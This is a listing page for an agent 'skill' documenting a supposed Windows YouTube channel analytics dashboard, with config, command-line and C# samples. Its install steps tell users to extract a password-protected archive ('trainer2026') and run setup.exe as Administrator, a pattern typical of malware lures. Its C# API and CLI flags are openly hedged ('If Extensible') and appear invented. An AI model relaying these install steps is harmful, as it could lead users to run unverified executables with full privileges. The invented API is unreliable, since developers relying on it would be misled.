Youtube Channel Analytics Dashboard

reason-machines/data-skills/skills/youtube-channel-analytics-dashboard

by reason-machines8e7bd5f22574No license4 starsListed Oct 8, 2026Updated Oct 8, 2026Repository updated 2 months ago

Dashboard tool for analyzing YouTube channel metrics including views, watch time, subscriber growth, revenue, and audience demographics with real-time data visualization.

AI-generated overview

Describes a Windows dashboard tool for tracking YouTube channel metrics such as views, subscribers, revenue and demographics.

What it does
This skill documents a Windows desktop dashboard application for YouTube channel analytics, covering views, watch time, subscriber growth, revenue estimates and audience demographics. It explains installation, configuration via API keys and environment variables, command-line export options, and code samples for querying metrics and generating CSV or PDF reports. It is an instructional document only and ships no scripts or executable files.
When to use it
Use it when someone needs guidance on setting up or operating a YouTube channel analytics dashboard, configuring YouTube Data API v3 access, or exporting channel performance reports. It suits questions about tracking subscriber growth, revenue and audience demographics for a channel.
Requirements
Windows 10/11 (64-bit) with .NET Framework 4.8+ or Visual C++ Redistributable, a YouTube Data API v3 key and channel ID, and OAuth scopes youtube.readonly and yt-analytics.readonly. Network access to the YouTube API is required. The skill contains instructions only and no scripts.

YouTube Channel Analytics Dashboard

Skill by ara.so — Data Skills collection.

Overview

YouTube Channel Analytics Dashboard is a comprehensive analytics tool that provides real-time and historical insights into YouTube channel performance. It tracks views, watch time, subscriber growth, revenue estimates, and audience demographics through an interactive dashboard interface.

Key capabilities:

  • Real-time statistics monitoring (views, subscribers)
  • Historical trend visualization with growth charts
  • Revenue tracking and estimates
  • Audience demographics and geographic mapping
  • Video-level performance analysis
  • Report export (CSV/PDF formats)

Installation

Windows Setup

  1. Download the package from the repository releases
  2. Extract the archive (password: trainer2026)
  3. Run setup.exe as Administrator
  4. Follow the configuration wizard

Requirements

  • OS: Windows 10/11 (64-bit)
  • Runtime: .NET Framework 4.8+ or Visual C++ Redistributable
  • Architecture: x64

Configuration

Create a configuration file config.json in the application directory:

json
{  "youtube": {    "api_key": "${YOUTUBE_API_KEY}",    "channel_id": "${YOUTUBE_CHANNEL_ID}"  },  "refresh_interval": 300,  "data_retention_days": 90,  "export": {    "default_format": "csv",    "output_directory": "./exports"  },  "dashboard": {    "theme": "light",    "auto_refresh": true  }}

Environment Variables

Set these environment variables for API authentication:

bash
YOUTUBE_API_KEY=your_youtube_api_key_hereYOUTUBE_CHANNEL_ID=your_channel_id_hereYOUTUBE_DATA_API_VERSION=v3

Core Functionality

Connecting to YouTube API

The dashboard integrates with YouTube Data API v3. Ensure you have:

  1. A Google Cloud project with YouTube Data API enabled
  2. OAuth 2.0 credentials or API key
  3. Proper scopes: youtube.readonly, yt-analytics.readonly

Key Metrics Tracked

MetricDescriptionUpdate Frequency
ViewsTotal and daily video viewsReal-time
Watch TimeTotal minutes watchedHourly
SubscribersCurrent count and growthReal-time
RevenueEstimated earnings (CPM-based)Daily
DemographicsAge, gender, geographyDaily
EngagementLikes, comments, sharesHourly

Usage Patterns

Launching the Dashboard

bash
# Standard launch.\YouTubeAnalytics.exe
# With custom config.\YouTubeAnalytics.exe --config custom_config.json
# Debug mode.\YouTubeAnalytics.exe --debug --verbose

Command-Line Interface

bash
# Export current analytics to CSV.\YouTubeAnalytics.exe --export csv --output ./reports/analytics.csv
# Export specific date range.\YouTubeAnalytics.exe --export pdf --from 2026-01-01 --to 2026-06-30
# Generate subscriber growth report.\YouTubeAnalytics.exe --report subscribers --period 30d
# Fetch real-time stats only.\YouTubeAnalytics.exe --realtime --format json

API Integration (If Extensible)

If the tool provides a scriptable interface or API:

csharp
using YouTubeAnalytics.Core;using YouTubeAnalytics.Models;
// Initialize the analytics clientvar config = new AnalyticsConfig{    ApiKey = Environment.GetEnvironmentVariable("YOUTUBE_API_KEY"),    ChannelId = Environment.GetEnvironmentVariable("YOUTUBE_CHANNEL_ID"),    RefreshInterval = TimeSpan.FromMinutes(5)};
var client = new YouTubeAnalyticsClient(config);
// Fetch real-time statisticsvar stats = await client.GetRealtimeStatsAsync();Console.WriteLine($"Current Subscribers: {stats.SubscriberCount}");Console.WriteLine($"Total Views: {stats.TotalViews}");
// Get historical datavar history = await client.GetHistoricalDataAsync(    startDate: DateTime.Now.AddDays(-30),    endDate: DateTime.Now,    metrics: new[] { "views", "subscribersGained", "estimatedRevenue" });
// Analyze top performing videosvar topVideos = await client.GetTopVideosAsync(    period: TimePeriod.Last30Days,    metric: VideoMetric.Views,    limit: 10);
foreach (var video in topVideos){    Console.WriteLine($"{video.Title}: {video.Views:N0} views");}
// Export to CSVvar exporter = new DataExporter(client);await exporter.ExportToCsvAsync(    "./exports/monthly_report.csv",    startDate: DateTime.Now.AddMonths(-1),    endDate: DateTime.Now);

Automation Scripts

csharp
// Scheduled daily report generationusing YouTubeAnalytics.Automation;
var scheduler = new ReportScheduler(client);
scheduler.ScheduleDailyReport(    time: new TimeSpan(9, 0, 0), // 9 AM    reportType: ReportType.DailySummary,    recipients: new[] { "[email protected]" },    format: ExportFormat.PDF);
// Alert on subscriber milestonesscheduler.AddAlert(new SubscriberMilestoneAlert{    Milestone = 10000,    NotificationMethod = NotificationMethod.Email,    Recipient = "[email protected]"});

Data Analysis Patterns

Subscriber Growth Analysis

csharp
// Calculate growth ratevar growth = await client.GetSubscriberGrowthAsync(    period: TimePeriod.Last90Days);
var avgDailyGrowth = growth.Sum(d => d.NewSubscribers) / growth.Count;var growthRate = (growth.Last().TotalSubscribers - growth.First().TotalSubscribers)                  / (double)growth.First().TotalSubscribers * 100;
Console.WriteLine($"Average daily growth: {avgDailyGrowth:F1} subscribers");Console.WriteLine($"90-day growth rate: {growthRate:F2}%");

Revenue Tracking

csharp
// Estimate revenue by videovar revenueData = await client.GetRevenueBreakdownAsync(    startDate: DateTime.Now.AddMonths(-1),    endDate: DateTime.Now,    groupBy: RevenueGrouping.ByVideo);
var topEarners = revenueData    .OrderByDescending(v => v.EstimatedRevenue)    .Take(10);
foreach (var video in topEarners){    Console.WriteLine($"{video.Title}: ${video.EstimatedRevenue:F2}");}

Audience Demographics

csharp
// Analyze audience locationvar demographics = await client.GetAudienceDemographicsAsync();
var topCountries = demographics.Geography    .OrderByDescending(g => g.ViewPercentage)    .Take(5);
Console.WriteLine("Top 5 Countries:");foreach (var country in topCountries){    Console.WriteLine($"  {country.Name}: {country.ViewPercentage:F1}%");}
// Age distributionvar ageGroups = demographics.AgeDistribution;Console.WriteLine($"Primary audience age: {ageGroups.MaxBy(a => a.Percentage).AgeRange}");

Dashboard Customization

Creating Custom Views

If the dashboard supports custom panels:

csharp
// Define a custom dashboard layoutvar dashboard = new DashboardLayout();
dashboard.AddPanel(new Panel{    Type = PanelType.LineChart,    Title = "Subscriber Growth",    DataSource = DataSource.SubscriberHistory,    Position = new Position(0, 0),    Size = new Size(2, 1)});
dashboard.AddPanel(new Panel{    Type = PanelType.Gauge,    Title = "Real-time Views",    DataSource = DataSource.RealtimeViews,    Position = new Position(2, 0),    Size = new Size(1, 1)});
dashboard.AddPanel(new Panel{    Type = PanelType.Map,    Title = "Audience Geography",    DataSource = DataSource.Geography,    Position = new Position(0, 1),    Size = new Size(3, 1)});
await dashboard.SaveAsync("custom_layout.json");

Export and Reporting

CSV Export

bash
# Export all metrics.\YouTubeAnalytics.exe --export csv --metrics all --output report.csv
# Export specific metrics.\YouTubeAnalytics.exe --export csv --metrics views,subscribers,revenue --from 2026-01-01

PDF Report Generation

csharp
using YouTubeAnalytics.Reporting;
var reportGenerator = new PdfReportGenerator(client);
var report = await reportGenerator.GenerateAsync(new ReportOptions{    Title = "Monthly Performance Report",    Period = new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now),    Sections = new[]    {        ReportSection.Overview,        ReportSection.SubscriberGrowth,        ReportSection.TopVideos,        ReportSection.AudienceDemographics,        ReportSection.RevenueEstimate    },    IncludeCharts = true,    BrandingLogo = "./logo.png"});
await report.SaveAsync("./reports/monthly_report.pdf");

Troubleshooting

API Connection Issues

Problem: Dashboard fails to connect to YouTube API

Solutions:

  • Verify YOUTUBE_API_KEY is set correctly
  • Check API quota limits in Google Cloud Console
  • Ensure YouTube Data API v3 is enabled
  • Verify channel ID format (should start with "UC")
bash
# Test API connection.\YouTubeAnalytics.exe --test-connection --verbose

Missing Data

Problem: Some metrics show no data or zero values

Solutions:

  • Ensure OAuth scopes include yt-analytics.readonly
  • Check date range (revenue data may have 2-3 day delay)
  • Verify channel has sufficient history (minimum 7 days)
  • Re-authenticate if token expired
csharp
// Force data refreshawait client.RefreshAllMetricsAsync(forceUpdate: true);

Export Failures

Problem: CSV/PDF export hangs or fails

Solutions:

  • Check disk space in output directory
  • Reduce date range for large datasets
  • Verify write permissions on output folder
  • Use smaller metric subset
bash
# Export with limited data.\YouTubeAnalytics.exe --export csv --metrics views,subscribers --limit 1000

High Memory Usage

Problem: Dashboard consumes excessive memory with large datasets

Solutions:

  • Reduce data_retention_days in config
  • Enable data pagination for exports
  • Clear cache regularly
json
{  "performance": {    "enable_caching": true,    "cache_max_size_mb": 500,    "auto_cleanup": true  }}

Best Practices

  1. API Quota Management: Monitor YouTube API quota usage to avoid rate limits (default: 10,000 units/day)
  2. Data Retention: Set appropriate retention periods to balance history vs. performance
  3. Scheduled Exports: Automate weekly/monthly reports for consistent tracking
  4. Multiple Channels: Use separate config files for managing multiple channels
  5. Backup Data: Regularly export historical data before rotating logs

Advanced Features

Webhook Integration

csharp
// Set up webhook for real-time alertsvar webhookConfig = new WebhookConfig{    Url = "https://your-server.com/youtube-webhook",    Events = new[] { "subscriber_milestone", "viral_video", "revenue_threshold" },    Secret = Environment.GetEnvironmentVariable("WEBHOOK_SECRET")};
await client.ConfigureWebhookAsync(webhookConfig);

Comparison Analytics

csharp
// Compare two time periodsvar comparison = await client.ComparePeriodsAsync(    period1: new DateRange(DateTime.Now.AddMonths(-2), DateTime.Now.AddMonths(-1)),    period2: new DateRange(DateTime.Now.AddMonths(-1), DateTime.Now),    metrics: new[] { "views", "subscribers", "watchTime" });
Console.WriteLine($"Views change: {comparison.Views.PercentChange:F1}%");Console.WriteLine($"Subscriber change: {comparison.Subscribers.PercentChange:F1}%");

This skill enables AI agents to help developers effectively use YouTube Channel Analytics Dashboard for comprehensive channel performance monitoring and reporting.

Source and attribution

Source:reason-machines/data-skillsinskills/youtube-channel-analytics-dashboardat commit8e7bd5f

License: No license

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